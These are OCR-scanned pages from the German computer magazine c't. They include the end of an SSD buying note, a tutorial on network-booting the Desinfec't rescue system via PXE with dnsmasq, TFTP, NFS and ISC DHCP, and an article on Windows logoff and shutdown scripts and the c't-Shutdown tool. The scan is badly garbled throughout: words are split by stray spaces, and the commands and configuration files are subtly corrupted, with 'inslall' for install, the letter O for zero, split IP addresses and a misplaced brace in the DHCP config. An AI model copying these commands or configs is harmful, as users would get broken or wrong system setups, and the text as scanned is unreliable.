6G-SSDs typischerweise seh r  viel mehr Strom 
a l s  SATA-1 1 -SSDs schlucken, i st es im Hinbl ick 
auf die Akku laufzeit bei Notebocks sogar 
s i nnvol ler, dafü r ein im Leer lauf sparsames 
(SATA-1 1-)Model l  zu wählen.  

ln stationären Rechnern fä l l t  der $50-
Stromverbrauch dagegen n icht ins  Gewicht. , 
SATA-6G-SSDs br ingen an SATA-6G-Ports ge­
genüber  SATA- 1 1 -SSDs e inen le ichten Ge­
schwind igkeitsvortei l ,  a l lerd ings  ist der füh l ­
bare Tem pogewin n  n icht doppelt b is  fü nf­
z igmal  so hoch, wie es Benchmarks suggerie­
ren .  Bei der Kaufentscheid ung sol lte man 
s ich desha lb  n icht von schwindelerregend 
hohen IOPS-Raten oder Ü bertragungsraten 
blenden lassen, sondern Zuverläss igkeit der 
SSD und Qual ität des Herstel ler-Supports mit 
i n  d ie Kaufentscheidung e inbeziehen. E inen 
Ersteindruck davon vermitte ln  Google-Abfra­
gen und d ie Suche in e inschlägigen Händ ler­
und Herste l lerforen. (boi) 
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Praxis I Desinfec't 

Ralf Schneider, Peter Siering 

Impfen per Netzwerk 
Desinfec't vom Lin ux-Server booten 

Nützl iche Datenträger wie Desinfec't aus c't 9/1 2 tauchen genau dann 
unter, wen n  man sie dringend bra ucht. Wer  ohnehin  e inen Lin ux-

' Server betreibt, ka n n  den I n halt der Scheibe dort h interlegen, sodass 
sich künftige PC-Patienten die Medizin d i rekt aus dem N etz holen.  

D ie Mehrzah l  der in  den letzten Jahren ver­
kauften PCs kann ebenso selbstverständ­

l ich aus dem Netzwerk booten wie von einem 
optischen Datenträger. Gegebenenfa l l s  muss 
man die Option im BIOS-Setup aktivieren. Oft 
genügt es aber auch, beim BIOS-Selbsttest die 
r icht ige Taste fü r d ie Boot-Auswah l  zu d rü­
cken, meist F 1 2. Sta rten aus dem Netzwerk ist 
dann eine von mehreren Optionen. 

Die Infrastruktu r, d ie man dazu braucht, ist 
n icht a l lzu aufwend ig .  Es muss  sich dazu 
n icht mal  um e inen echten Server handeln ,  
e in be i  Bedarf gestartetes System i n  e iner VM 
genügt vol lends. Fü r  Windows haben wir  das 
in  [ 1 ]  erklä rt. Das Folgende zeigt d ie nötigen 
Schritte für e in L inux-System und am Beispiel  
unseres Desinfec't-Projekts - einer Boot­
DVD, die zu letzt c't 9/1 2 bei lag und die d iver­
se Hi lfsmittel enthä lt, um PCs von Schäd l in­
gen zu befreien.  

Das Starten aus  dem Netzwerk i st i n  vie­
lerlei H ins icht pra kti sch:  Geräte ohne opti­
sches Laufwerk lassen sich damit erreichen, 
etwa Netbooks. Das lästige Gejau le des Lauf­
werks stört n icht. Zudem läuft e in Rettungs­
system wie Desi nfec't auf aktuel ler  Hardware 
flüssiger aus dem Netz. Und :  Steht d ie I nfra­
struktur  fü r den Netzwerk-Boot, kann  man 
dort auch  g leich weitere Helfer, I nsta l l at ions­
medien oder sonstige Projekte ablegen und 
nutzen. 

Noch eine erfreu l iche Botschaft vorab: 
Wer denkt, dass er dafü r  womög l ich l ieb ge­
wonnene Dienste umstricken m uss, ist auf  
dem Holzweg. E in  L in ux-Masch i nchen,  das  
anderen das Booten aus  dem Netz erl aubt, 
i nteg r iert s ich naht los in e in  bestehendes 
Netzwerk. Man muss a l so weder Dienste auf 
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bestehenden Servern anfassen noch den 
Router i n  Rente schicken, wei l  er  d ie  nötigen 
Protokol le  n icht kennt. 

Die Zutaten 

Booten aus  dem Netz he ißt heute "PXE". Das 
von I ntel spezifizierte P reboot Execut ion 
Environment fasst d ie zuvor etab l ierten Ver­
fah ren zusammen und erweitert sie um e ine 
normierte Schn ittstel l e  fü r Netzwerkzugriffe. 
Es schafft quas i  ein BIOS fü r Netzwerkka rten, 
das fü r jeden Chip und Herste l ler  g leich funk­
t ioniert. Das heißt: I m  Rahmen des Bootens  
braucht man a nders a l s  früher keine Treiber, 
d ie  zur jewei l igen Netzwerkka rte passen, PXE 
br ingt s ie m it. 

Das Verfa h ren ist ei nfach :  Der sta rtende 
PC ruft ins  Netz h i naus  und  erfragt e ine I P­
Adresse, das Protoko l l  dazu he ißt DHCP (Dy­
namic  Host Confi gu rat ion P rotoco l ) .  Der 
DHCP-Server antwortet m it einer Ad resse 
und weiteren I nformationen .  E ine  so lche 
Antwort enthält i n  der Regel  d ie  Adresse des 
Nameservers und  des Gateways, ka nn  aber 
zusätzl iche H i nweise zum Beisp ie l  auf  e ine 
spezie l l e  Startdatei fü r den Netzwerk-Boot 
enthalten .  

F i ndet der PC so lche H inweise, dann  lädt 
er d ie Datei von einem TFTP-Server und füh rt 
s ie aus; das  Trivia l  F i l e  Transfer Protocol i st 
e ine authentifizierungs lose Variante von FTP. 
Diese Dateien entha lten H inweise, wie weiter 
zu verfa h ren i st, zum Beisp ie l  ein Auswa h l ­
menü fü r mehrere auf dem Boot-Server ab­
gelegte Betriebssysteme. Optiona l  kan n  
a u c h  e i n  PXE-Bootserver i n  d e m  Prozess mit­
m ischen. 

Das Verfa h ren i st so ausgelegt, dass die 
PXE-spezifischen Tei l e  para l le l  zu einem 
bereits vorhandenen DHCP-Server a rbeiten 
können - der i st oft 'auf e inem Router aktiv 
und lässt sich gar n icht geeignet anpassen. 
Die para l le l  zu einem vorhandenen DHCP­
Server nötige Komponente heißt DHCP-Proxy 
und kan n  sogar  g leichzeitig zum DHCP-Ser­
ver auf dem g leichen System aktiv sei n .  

D ie Anforderungen,  d ie  Desi nfec't an  
e inen Sta rt aus  dem Netzwerk ste l lt, fa l l en  
moderat aus .  S ie  entsprechen denen e ines 
Ubu ntu-Live-Systems.  Außer  den besch rie­
benen obl igatorischen ·Diensten erwartet es 
zusätzl ich einen N FS-Server, der das kompri­
mierte Dateisystem im Netz bere itstel lt. Le­
d ig l i ch  der  Systemsta rt, a l so das  Laden der 
zum Booten nöt igen Dateien,  des Kerneis  
und der  l n it-RAM-Disk l äuft via TFTP. Dan n  
übern immt N FS. 

Um d ie nötigen Dateien auf I h rem Server 
bereitzuste l len,  legen Sie die Desinfec't-DVD 
in das System e in ,  mou nten Sie d iese (d ie 
H i nweise gehen davon aus, dass S ie das 
u nter /med ia/cd rom tun )  und  kopieren Sie 
d ie Dateien i n  das i m  ersten Sch ritt neu an­
gelegte Verzeichn i s  /srv/tftp/ct: 

mkdir -p /srv/tftp/ct/desinfect 
cd /srv/tftp/ct 
cp -r /media/cdrom/casper desinfect/ 
cp -r /media/cdrom/isolinux desinfect/ 

Leider enthält d ie l n it-RAM-Disk auf der Des­
infec't-DVD e in ige Schönheitsfeh ler, die erst 
beim Netzwerk-Boot zu Tage treten.  Ü ber  
den c't-Li nk  a m  Ende des Arti kels fi nden S ie  
den Down load-Li n k  zu e iner  aktua l i s ierten 
i n it rd . lz-Datei, um damit die kopierten Da­
teien von der DVD wie folgt zu aktua l i s ieren: 

cd /srv/tftp/ct/desinfect/casper 
wget http:/ /ct.de/projekte/desinfect/ct 15 1 2/in itrd .lz 

Im nächsten Sch ritt erste l len Sie ein weiteres 
Verze ichn is  

mkdir /srv/tftp/ct/pxelinux.cfg 

und  legen dar in  d ie  Datei defau l t  wie fo lgt 
an: 

DEFAULT desinfect201 2  
LABEL desinfect201 2 
KERNEL desinfect/casper/vmlinuz 
APPEND boot=casper in itrd=desinfect/casper/in itrd.lzl 

netboot=nfs nfsroot= 1 92 . 168.1 .2 :/srv/tftp/ct/desinfectl 
qu iet splash -- debian-installer/language=del 

console-setu p/layoutcode ?=de 

Sie weist PXE den Weg zu Kerne!  und  l n it­
RAM-Disk und g ibt e in ige Optionen fü r den 
Systemsta rt m it. Wicht ig dabei  i st, dass d ie  
Adresse des N FS-Servers passt. Die Beispiele 
gehen davon aus, dass  h i nter der Adresse 
1 92 . 1 68. 1 . 1  der Router und DNS-Server ste­
cken, und h i nter 1 92 . 1 68. 1 .2 der Boot-Server, 
den Sie e in richten. 

Fehlt noch der  PXE-Loader sel bst. l n  
e inem Debian-System können S i e  den per: 

apt-get inslall sysl inux-common 

auf die loka le  P latte holen.  Da die Datei pxe­
l i nux.O in /usr/ l i b/sys l inux landet, müssen Sie 
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Praxis I Desinfec't 

Ein simples Bootmenü, das erst auf Knopfdruck Netzwerk-Boot­
Optionen zeigt, ist mit Dnsmasq im Handumdrehen gestrickt. 

sie fü r die Remote-Boot-Mechan ismen zu­
gäng l ich machen.  E in  symbol i scher L ink  
empfiehlt s i ch  dafü r, wei l  I h r  System so von 
eventuel len U pdates an der Datei profit iert: 

cd /srv/tftp/ct/ 
ln -s /usr/lib/sysl inux/pxelinux.O pxelinux.O 

Der NFS-Server ist auf e inem Debian-System 
mit wen igen Handgriffen insta l l iert: 

apt -get install nfs-kernel-server 

zur  Konfigu rat ion tragen Sie in d ie  Datei 
/etc/exports d ie Zei le 

/srv/tftp 1 92.1 68.1 .0/24(ro,no_subtree_check) 

e in .  Die I P-Adresse des Netzwerks müssen 
Sie gegebenenfa l l s  a n passen .  Nach e inem 
Neusta rt mit /etdin it.d/nfs-kernel-server restart l ie­
fert der Server die Image-Datei mit Desi nfec't 
auf Anfrage aus .  

l ntegrativ 

Ei nfach kan n  man sich das Leben mit 
Dnsmasq machen,  e inem eher sch l anken 
DNS- und DHCP-Server. I h n  kann  man ohne 
Weiteres paral lel zu einer bestehenden DNS-/ 
DHCP-I nfrastru ktu r  betre iben, a l so auch zu 
einem vorhandenen DSL-Router. Die I nsta l la­
t ion in  e inem Debian-System ist  per 

apt-get install dnsmasq 

erledigt. Als Konfigu rat ionsdatei genügt 
nach den zuvor gesch i lderten Schritten e ine 
neu angelegte Datei desinfect im  Verzeichn is  
/etc/dnsmasq.d. Sie enthä lt: 

port=O 
log-dhcp 
enable-tftp 
tftp-root=/srv/tftp 
dhcp-range= 1 92. 1 68.1  .O,proxy 
pxe-prompt="Taste F8 zeigt Auswahl",5 
pxe-service=X86PC,"Starten von Festplatte",O 
pxe-service=X86PC,"Mit Desinfec't starten",ct/pxelinux 

Der Reihenfolge nach deaktivieren die Optio­
nen den i nteg rierten DNS-Server (port=O) ,  las­
sen Dnsmasq ausfü h rl i ch  P rotoko l l  schrei­
ben, kn ipsen den i nternen TFTP-Server an, 
weisen den Daemon an,  a l s  DHCP-Proxy für 
das Netz 1 92. 1 68. 1 .0 aktiv zu werden und  
lassen den  PXE-Code e i nen  H i nweis a nzei­
gen und auf d ie Betätigung der Taste F8 h i n  
e in min imales Menü  präsentieren. 

Das Menü er laubt die Wah l  zwischen 
einem Boot von der Festplatte und von Des-
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infec't aus  dem Netz. Hä lt  der Benutzer fünf 
Sekunden sti l l ,  geht es automatisch von der 
Festplatte weiter .  Wie e rfrischend e i nfach 
Dnsmasq i st, kan n  man erst i m  Verg leich m it 
dem Aufwand ermessen, den man beim E in­
satz der .,großen" Dienste treiben müsste. Da 
l iegt es nahe, n u r  in Ausnah mefä l len  über­
haupt etwas anders zu benutzen .  

Rein raumansatz 

Für a l l  d iejenigen, die es genauer wissen wol­
len, folgt jetzt die klassische Methode, e inen 
PXE-Boot-Server zu bauen:  E in  frisch i n sta l­
l i e rtes System auf Debian-Basis motzt man  
m i t  e in igen Paketen geeignet auf. Wer schon 
Tei l e  der  D ieriste i n  Betr ieb hat, p ickt s ich 
e i nfach d ie entscheidenden Punkte aus  der  
An le i tung hera us: 

apt-get install tftpd-hpa isc -dhcp-server openbsd-inetd 

Den TFTP-Server konfigu r ieren S ie in der  
Datei /etc/defau lt/tftpd-hpa: 

TFTP _OPTIONS="--secure" 
TFTP _USERNAME="tftp" 
TFTP _DIRECTORY="/srv/tftp" 
TFTP _ADDRESS="0.0.0.0:69" 

Im Verzeichn i s  /srv/tftp braucht jedermann  
Leserechte·, dam it der  Server d ie  Dateien 
auch aus l iefern kan n .  Anders a ls  v ie le gän­
g ige  Dienste br ingt der  tftp-Server ke i n  
l n it-Skript m it. Stattdessen spannt  man den  
l n et-Daemon (be i  Debian openbsd- inetd) 
ein, um den Dienst zu sta rten .  ln der  Datei 
/etc/i netd.conf sorgt d ie Zei le  

tftp dgram udp  wait root /usr/sbin/tcpdj 
/usr/sbin/in .tftpd -s /srv/tftp 

dafü r, dass der  i net-Daemon bei Verbin ­
d ungsanfragen auf dem tftp-Port den  TFTP­
Server startet. 

Dem DHCP-Server Uetzt kei n  Proxy mehr) 
sol lten Sie in /etc/defau lt/isc-·d hcp-server ex­
p l iz it m itte i len ,  auf  welcher Schn ittste l l e  er  
Anfragen beantworten so l l ,  etwa ethO: 

interfaces="ethO" 

Außerdem müssen Sie den DHCP-Dienst 
g rund legend konfigu r ieren, e ine  m i n i ma le  
Konfigu rationsdatei s ieht so aus: 

· 

authoritative; 
allow booting; 
allow bootp; 
option domain-name-servers 1 92 . 168. 1 . 1 ;  

subnet 1 92 . 168.1 .0 netmask 255.255.255.0 { 
range 1 92 . 168.1 .20 1 92 . 168.1 .40; 

} 

option subnet-mask 255.255.255.0; 
option broadcast-address 1 92.1 68.1 .255; 
option routers 1 92.1  68. 1 .  1 ;  

host desinfect { 
next-server 1 92 . 168.1 .2; 

} 

hardware ethernet 00:01 :02:03 :04:05; 
fixed-address 1 92 . 168.1  .50; 
fi lename "ct/pxelinux.O"; 

Die Anweisungen erklären den DHCP-Server 
für aktiv und  zuständ ig (authoritative;) ,  aktivie­
ren die Boot-Dienste (allow booting; allow bootp;) 
und  richten e inen Adresspool fü r das private 
Netz 1 92 . 1 68. 1 .0 e in .  

C l ients erha lten nach dem Start (letdin it.d/ 
isc-dhcp-server sta rt) Ad ressen ab 1 92. 1 68 . 1 .20. 
A ls  Nameserver und Gateway g ibt der Server 
die Adresse 1 92 . 1 68. 1 . 1  heraus .  Das könnte 
e in  Router im loka len  Netz se in ,  auf dem 
dann - sofern vorhanden - der DHCP-Dienst 
zu deaktivieren wäre. 

ln der host-Dekla ration sch l ieß l ich ordnen 
S ie dem System mit  der  Ha rdwa re-Ad resse 
(MAC) 00:0 1 :02:03 :04:0S eine feste I P-Adres­
se zu und verweisen i h n  auf den Boot-Server 
und  e ine dort abgelegte Boot-Datei .  Die I P­
Adresse 1 92. 1 68. 1 .2 sol lte dabei d ie des Ser­
vers se lbst se in ,  a l so  des Systems, a uf dem 
S ie DHCP-Server und TFTP-Server gerade 
e in richten .  E in  Bootmenü ana log zu dem per 
Dnsmasq rea l i s ie rten macht m it dem ISC­
DHCP-Server mehr Arbeit: Hier g reift man am 
besten auf  d ie  Mög l i chkeiten von ISOLI­
N U X/Sys l i nux  zu rück. 

Fehlersuchh i lfen 

Klappt d ie I nbetriebnahme n icht  ad hoc oder 
b le ibt das Booten m ittendr in stecken, so g i l t  
der erste Bl ick den Log-Dateien des Systems. 
Die entha lten oft s innvol le  H inweise auf nicht 
gefundene Dateien, fa lsche Pfade et cetera. 
Aber n icht jede Fehlermeldung, die dort her­
umschwi rrt, deutet g le ich a uf e in  Problem 
hin: E in  PXE-C i ient probiert mehrere Datei­
namen aus, d ie gehen von der MAC-Adresse 
aus  und vera l lgemeinern immer weiter. 

Auch dem sta rtenden Desi nfec't kan n  
man  deta i l l i e rt a u f  d ie  F inger  sehen.  Lässt 
man in /srv/tftp/ct/pxe l i nux.cfg/defau l t  i n  
d e r  APPEND-Zei le d i e  Option splash weg, dann 
s ieht  man d ie  Ausgaben des bootenden Sys­
tems. Wen n  S ie s ich im sta rtenden System 
u msehen wol len,  noch bevor das eigentl iche 
Live-System richtig zum Leben erwacht, kön­
nen S ie die APPEND-Ze i le  u m  d ie  Option 
break=init ergänzen .  Bei ha rtnäckigen Proble­
men h i lft nu r  e in  Paketsn iffer. (ps) 

Literatur 

[ 1 ]  Axel Va hld iek, Ab durch die Strippe, Windows 

7 via Netzwerk retten oder neu insta l l ieren, 

c't 5/1 1 , 5. 1 76 
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D ie  Anwendungsmög l ichkeiten fü r P ro­
g ramme, die beim Heru nterfa h ren von 

Windows automatisch sta rten, sind vielfä lt ig :  
E in neuer E i ntrag i n  e ine Log-Datei, d ie  d ie 
Arbeitszeit dokumentiert, e ine automatische 
S icherheitskopie bearbeiteter Doku mente 
oder eine kurze Nach r icht an  F reunde im 
Chat s ind nur einige Beispiele. 

E ine weitere Anforderung, d ie des Öfteren 
auftaucht, erscheint auf den ersten B l ick ab­
surd :  das Herunterfah ren von Windows u m  
e i n  paar Sekunden z u  verzögern oder ga r  fü r 
längere Zeit zu verh indern.  So widersinn ig  ist 
das bei genauerem H insehen gar n icht: Wer 
seine Dateien mit Dropbox, SkyDrive oder 
Goog le Drive synchronis iert, möchte vermut-
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l ieh,  dass der  Rechner  s ich erst dann  a us­
scha ltet, wenn a l l e  Dateien in der  Cloud auf 
dem letzten Stand s ind .  

Autofi n ish 

Die  E i ng r iffsmög l i c h keiten,  d i e  M ic rosoft 
dafü r  geschaffen hat, Windows beim Herun­
terfa h ren  noch se l bst defi n i e rte Aufgaben 
aba rbeiten zu lassen,  haben zwei  Haken :  
Zum e inen existieren s ie be i  Windows 7 und  
Vi sta n u r  i n  den teu reren Ausgaben Profes­
s iona l ,  Enterpr ise u n d  U lt i mate sowie i n  
Windows Server 2008 (mit  und  o h n e  "R2") ;  
Bes itzer der  Horne- und Sta rter-Va r ianten 
können  s ie  n icht  ben utzen .  Zum Zweiten 

bedeuten Ei nträge a n  den dafü r vorgesehe­
nen Ste l len ,  dass Windows die dort e inge­
tragenen P rog ra m m e  u n d  Skr i pte wi rk l i ch  
bei  jedem Heru nterfa h ren a u sfü h rt - zum 
Beisp ie l  a uch dann ,  wenn das  System nach  
e ine r  P rog ra mm- oder  U pdate- I n sta l l at ion 
nur  ma l  schne l l  neu  gesta rtet werden so l l .  
Wer m i t  d iesen E in sch rä n kungen  leben 
ka nn ,  fi ndet d ie  E instel l u ngen i n  den Grup­
penr icht l i n ien,  zu öffnen ü ber  das E int ippen 
von "g pedit .msc" i n  das  Suchfeld  des Sta rt­
menüs .  

Wen n  h ier  b i s l ang von P rog rammen d ie  
Rede war, d ie  beim Beenden von Windows 
a usgefü h rt werden sol len, so war das e igent­
l i ch  ungenau .  Das Heru nterfa h ren besteht 
näml ich g rob aus zwei voneinander getrenn­
ten Schritten :  Zunächst sch l ießt Windows d ie 
Prozesse des aktuel len Benutzers und meldet 
i h n  ab.  Erst danach beendet es d ie  System­
dienste und scha ltet zu letzt den Rechner aus .  
Für beide Sch ritte g i bt es i n  den Gruppen­
r icht l i n ien  die Mög l i chkeit, eigene Skripte 
e inzukl i nken :  Die beim Abmelden auszufüh­
renden lassen s ich u nter "Benutzerkonfigura­
tion/Windows-E inste l l ungen/Skripts (Anmel­
den/Abmelden)" e i ntragen, d ie  fü r den ei­
gent l ichen Shutdown u nter "Computerkon­
fig u ration/Windows-E i n stel l u ngen/Skri pts 
(Start/Herunterfah ren)". 

Welche der  be iden E i nträge man be­
n u tzt, hängt  davon a b, was das e i nzutra­
gende Skr ipt genau tun so l l :  Abmeldeskr ip­
te laufen i m  Kontext u n d  mit  den Rechten 
des gerade angemeldeten Benutzers - und  
zwar be i  Ad m in i stratorkonten trotz Benut­
zerkonten steueru n g  m it vo l l en  Rechten. 
Bevor Windows s ie  sta rtet, sch l ießt es a l le 
a n deren l a ufenden Anwendu ngen,  auch  
so lche, d i e  i m  H i nterg rund  oder  a l s  Tray­
Symbol laufen .  Wäh rend ein solches Skript 
a rbeitet, s ieht der  Benutzer normalerweise 
n u r  einen leeren B i ldsch i rm.  Trotzdem kön­
nen Abmeldeskr i pte auch G U I-Anwend u n­
gen starten, mit  denen der  Benutzer sogar  
noch i nterag ieren ka n n .  Wen n  das  Skr ipt 
n icht  a u sd rück l i ch  a uf deren Beend igung  
wartet - etwa, i ndem es s ie  mit  dem Befeh l  
sta rt und  dessen Option /wa it l ädt  - ,  werden 
sie a be r  a utomat isch beendet, soba ld  das  
Skr ipt m i t  se iner  weiteren Arbeit fert ig  ist. 
Die Ausgaben  von Abme ldeskr i pten ka n n  
man  s i chtba r machen,  i ndem man  i n  d e n  
Gruppen r icht l i n ien  u nter "Benutzerkonfi­
g u rat ion/ Ad m i n i strative Vor lagen/System/ 
Skr i pts" die Opt ion "Abmeldeskri pts s icht­
bar ausfü h ren" akt iv iert. 

Eine ana loge E inste l l ung  g ibt es im Pfad 
"Computerkonfigu ration/ Admin i strative Vor­
lagen/System/Skr ipts" auch  fü r "Heru nter­
fah ren"-Skripte. Ohne s ie bekommt der An­
wender n icht ma l  mehr Fenster von GU I-An­
wendungen zu Gesicht, die aus dem Skr ipt 
hera u s  gesta rtet werden - e inen Desktop 
g i bt es zu dem Zeitpunkt nicht mehr. E in  
Skr ipt auf  Windews-Programme warten zu  
lassen, d ie s i ch  n icht selbst beenden, i s t  a l so  
keine  besonders g ute I dee: E rst nach zehn 
M i n uten stoppt Windows das  Skr ipt und 
d ie  von ihm geladenen Prog ramme zwangs-
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Jr Edi or für lolcal<! Gruppenrichtlinien 

Qat•i Ak!ion Ansicht 1 

!Ji] Richtl in ien für Lokaler C omputer 

� Computerkonfiguration 

Praxis I Windows-Sh utdown 

Skripts (Start/Herunterfahren) 

� Softwa reeinstel l u n gen Herunterfahren Name 

[® Starten 
� Vli ndows-Ein stel l u n gen 

Namen5auflösu n gsrichtl i n ie Eigenschaften a nzei gen • Herunterf•hren [® Skripts (Start/Horunt•rfahren) 

� 11!9 Bereitgestellte Drucker Beschreibung: 

� Ii& Sicherheitseinstellungen 

� Richtl i n ienbasierter QoS 

Enthält Skripts zum Herunterfa hren 
des Com puters, 

� Admin istrative Vorla gen 

� Benutzerkonfiguration 

� l!;il Softwareeinstel lungen 

� Wi ndews-Einstel l u ngen 

llliJ Skripts (Anm•ld•n/Abmeld•nl 

� Ii& Sicherheitseinstel l ungen 

� Richtl in ienbasiertet QoS 

� 11!9 Bereitgestellte DruckEr 

� � Internet Explorer-Wartung 

t> '=' Admini,strative Vorla gen 

Der Gruppenrichtl in ieneditor feh lt bei den Horne- und Starter-Ausgaben von 
Windows 7 und Vista. 

weise. Die Zeit lässt sich mit der E inste l l ung  
"Maximale Wartezeit fü r Gruppenricht l i n ien­
skripts" im oben genannten Zweig der Grup­
pen richtl in ien  e igenen Bedü rfn issen a npas­
sen und g i l t  dann  auch  fü r Sta rt- sowie fü r 
An- und Abmeldeskri pte. 

Im U ntersch ied zu letzteren kommen 
"Herunterfa h ren"-Skr ipte erst dann  zum 
Zuge, wenn kein  Benutzer mehr  e ingeloggt 
i st. S ie  laufen mit  den Rechten des loka len  
Systemkontos, a l so  prakt isch ohne E in ­
schränkungen be im Zugriff auf Dateien, Ord­
ner und Reg i stry-E i nträge.  A l l e rd i ngs  ist zu 
beachten, dass s ich der  Reg i stry-Sch l üsse l  
HKEY_CURRENT_USER und Benutzerordner  wie 
%appdata% oder d ie  E igenen Dokumente n u n  

Eigenseilallen \'On Herunterfah ren 

� PowerSheii-Skripts I 

nicht mehr  auf  den zu letzt a ngemeldeten 
Benutzer beziehen,  sondern eben auf  das 
System konto. A u ßer  dem Desktop-Fenster­
manager laufen zu dem Zeitpu n kt, zu dem 
Windows d ie  Skr i pte sta rtet, noch a l le Sys­
temdienste und  Tre iber, sodass man pro­
blemlos a uf das Netzwerk und auf d i rekt an­
gesch lossene Gerätschaften zug reifen kann .  

Auf den Dia logen des Gruppenr icht­
l i n iened itors für die Konfigu ration von Skrip­
ten g ibt es eine m it "Dateien a nzeigen" be­
sch riftete Scha ltfläche, die e inen Explorer i n  
e inem d e r  U nterordner von C:\Windows\Sys­
tem32\GroupPol icy öffnet. Es i st aber  keine  
Pfl icht, d ie  Skripte h ie r  zu speichern - die e in ­
ze lnen  Skr ipt-E i nträge nehmen be l ieb ige 

l 'Y � 

Windows PowerSheii·Skripts zum Herunterfahren für Lokaler 

Orte auf der Festplatte auf. A l ler­
d i ngs  ist es d u rchaus  s i n nvo l l ,  
e inen Ordner  zu wäh len ,  i n  dem 
d ie  Skripte vor versehent l ichen 
oder böswi l l igen Man ipu lat io­
nen du rch u nbedarfte Anwender 
oder Ma lware geschützt s ind .  Computer 

N ame Parameter I Nach gben I 
Countdown.ps1 20 I N ach !!� 

l!iinzufügen .. I 
�rbeiten. .. ] 
I Entfernen I . 

S kripts jür dieses Gruppenrichtlinienobjekt in der 
folgenden R eihenfofge ausführen: 

Windows-PowerSheii-Skripts zuletzt ausführen . 
i PowerSheii-Skripts erfordern mindestens Windows 7 oder Windows 

S erver 2008 R2. 

I Q.ateien anzeigen. . .  I 
( 0� : : ) I Abbrechen I I  0 bernehmen I 
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Haken und Ösen 

Wie oben bereits angek lungen  
i st, l a s sen  s ich  Abme lde- und  
Heru nterfa h ren-Skri pte u nter 
den Horne- und Sta rter-Vers io­
nen  von Windows n i cht konfi-

Bei Windows 7 lassen sich a ls  
Skripte zum Abmelden und 
zum Herunterfahren n icht nur  
Batch-Dateien eintragen, 
sondern auch PowerShei i­
Skripte. 
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Praxis I Windows-Shutdown 

. ...\ c't -Shutdown � 

� Dropbox-Status : Synchronisierung läuft 

l._t SkyDrive-Status : Synchronisierung beendet 

I 1� Skript/Programm wird ausgeführt 

I. Warte auf Fertigstenung 

Abbrechen 

Das Util ity c't-Shut­
down wartet vor dem 
Herunterfahren von 
Windows, bis die 
Cl ients von Dropbox 
und SkyDrive ihre 
Daten mit der Cloud 
synchronisiert haben. 

Einstel lungen 

� Dropbox überwachen 

Pfad: D : \Benutzer\hos\Dropbox D 
0 SkyDrive überwachen 

Pfad: D : \Benutzer\hos\SkyDrive D 
0 Skript/Pmgramm ausführen 

Datei : D : \DiesDas\Countdown . cmd 

Parameter: 20 I Jetzt herunterfahren I [ 
'-------_J 

l n  den Einstel lungen 
von c't-Shutdown 

kann man ein zusätz­
l iches Skript oder Pro­
gramm eintragen, das 

bei jedem Herunter­
fah ren automatisch 

ausgefüh rt wird. 

J Einstellungen . .  . J 

gurieren. Das l iegt zum e inen daran,  dass es 
hier den Gruppenricht l in iened itor gpedit.msc 
n icht g i bt. Zum anderen werten die ,. k le i ­
nen" Windows-Ausgaben offenbar  d ie  Re­
g istry-E inträge, die g pedit erzeugt, sch l icht 
n icht aus .  Bei un seren Versuchen hat jeden­
fa l l s  das  Export ieren d ieser Sch l ü sse l  a u s  
Windows 7 U ltimate und  d a s  ansch l ießende 
Importieren u nter Horne Pre m i u m  n icht  
zum Erfolg gefü h rt. 

Auch die Idee, d ie Aufgabenplanung  dazu 
zu überreden, Shutdown-Programme oder 
-Skri pte zu sta rten,  fü h rt zu n ichts: Es g i bt 
dort ei nfach keinen passenden Trigger. Der 
auf den ersten Bl ick vie lversprechende E in­
trag ,.Bei Trennung  von Ben utzersitzung" 
g reift nicht beim Abmelden oder Herunter­
fah ren, sondern nu r  bei der schnel len Benut­
zeru mscha ltung oder wenn man s ich aus  
einer Remotedesktop-Verbindung abmeldet. 

Eigenbau 

Für  den e ingangs skizzierten Anwendungs­
fa l l ,  Windows mit  dem Heru nterfa h ren so 
lange warten zu lassen, b is Speicherd ienste 
wie Dropbox oder SkyDrive i h re Daten vol l ­
ständig synchronis iert haben, taugen Abmel­
deskripte nicht: Wie erwä hnt sta rtet Win­
dows sie erst, nachdem es a l l e  anderen An­
wendungen beendet hat - mith in  auch d ie 
Cloud-Ci ients. Der e i nzige prakt ikab le  Lö­
sungsansatz besteht dar in ,  das Wa rten 
einem eigens dafü r  geschr iebenen P ro­
gramm zu übertragen, das dann auch g le ich 
den Shutdown anstoßen kann .  Wer so etwas 
e insetzen möchte, fü r den s ind  d ie  Sta rt­
menüeinträge zum Abmelden und Herunter­
fah ren oder der Power-Taster am PC-Gehäu­
se künftig a l lerd ings  ebenso tabu wie die 
Angewohnheit, das Notebook nach getaner 
Arbeit ei nfach zuzuklappen. 

Das von uns entwickelte Tool c't-Sh ut­
down (siehe L ink am Ende des Art ikels) lässt 
s ich ei nfach in e inen bel iebigen Ordner  auf 
der Festplatte kopieren. S innvol lerweise sol l ­
te man es ansch l ießend mögl ichst e i nfach 
zugängl ich machen,  indem man e ine Ver­
knüpfung dazu auf dem Desktop ablegt oder 
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Zusätzliche Wartezeit : 5 ; Sekunden 

Danach:  I Standby 

es ans  Sta rtmenü oder d ie Taskleiste anhef­
tet; wer mag, kann  in  der Verknü pfung auch 
e ine Tasten kombination defi n ieren. 

Be im ersten Sta rt öffnet das  Too l  se inen 
E i n ste l l u n g sd i a l og, i n  dem der  Benutzer 
fest legen ka nn ,  ob e r  se inen Dropbox­
u n d/oder  SkyDrive-C i ient  ü berwachen w i l l  
und  wo s ich deren Ord ner  befinden .  Au ßer­
dem ka n n  man  h ie r  e i n  Skr ipt oder P ro­
g ra m m  eintragen,  das bei jedem Heru nter­
fa h ren per c't-Sh utdown zusätz l ich a utoma­
tisch a usgefü h rt werden  so l l .  Ü ber  e i n  
E ingabefe ld l ässt s i ch  e ine zusätz l iche War­
teze it konfi g u ri e'ren, bevor das  Tool Win­
dows tatsäch l i ch  heru nterfä h rt - d ie  g i bt 
d ie  Ge legenhe it, noch sch ne l l  auf  ,.Abbre­
chen" zu k l icken oder Esc zu d rücken, fa l l s  
man  das  Too l ma l  versehent l i ch  gesta rtet 
hat. Sch l i eß l i ch  ka n n  man  wä h len,  ob das  
Prog ra m m  Windows komplett herunterfah­
ren oder i n  e inen Energiespa rmodu s  verset­
zen so l l .  

Die be iden g roßen Schaltflächen a uf dem 
Hauptfenster von c't-Shutdown sollten selbst­
erk lärend se in :  ,.Abbrechen" br icht das  He­
runterfa h ren ab  und ,.Jetzt herunterfah ren" 

Cloud-Status auslesen 

Dropbox, Microsoft und Goog le machen es 
externen Prog rammen n icht besonders 
le icht, a n  d ie  Status i nformationen i h rer  
C loud-C i ients zu kommen:  E ine offizie l l e  
Dokumentation dazu g i bt es bei ke inem 
der Anbieter. 

Der Trick, wie es bei Dropbox fun ktion iert, 
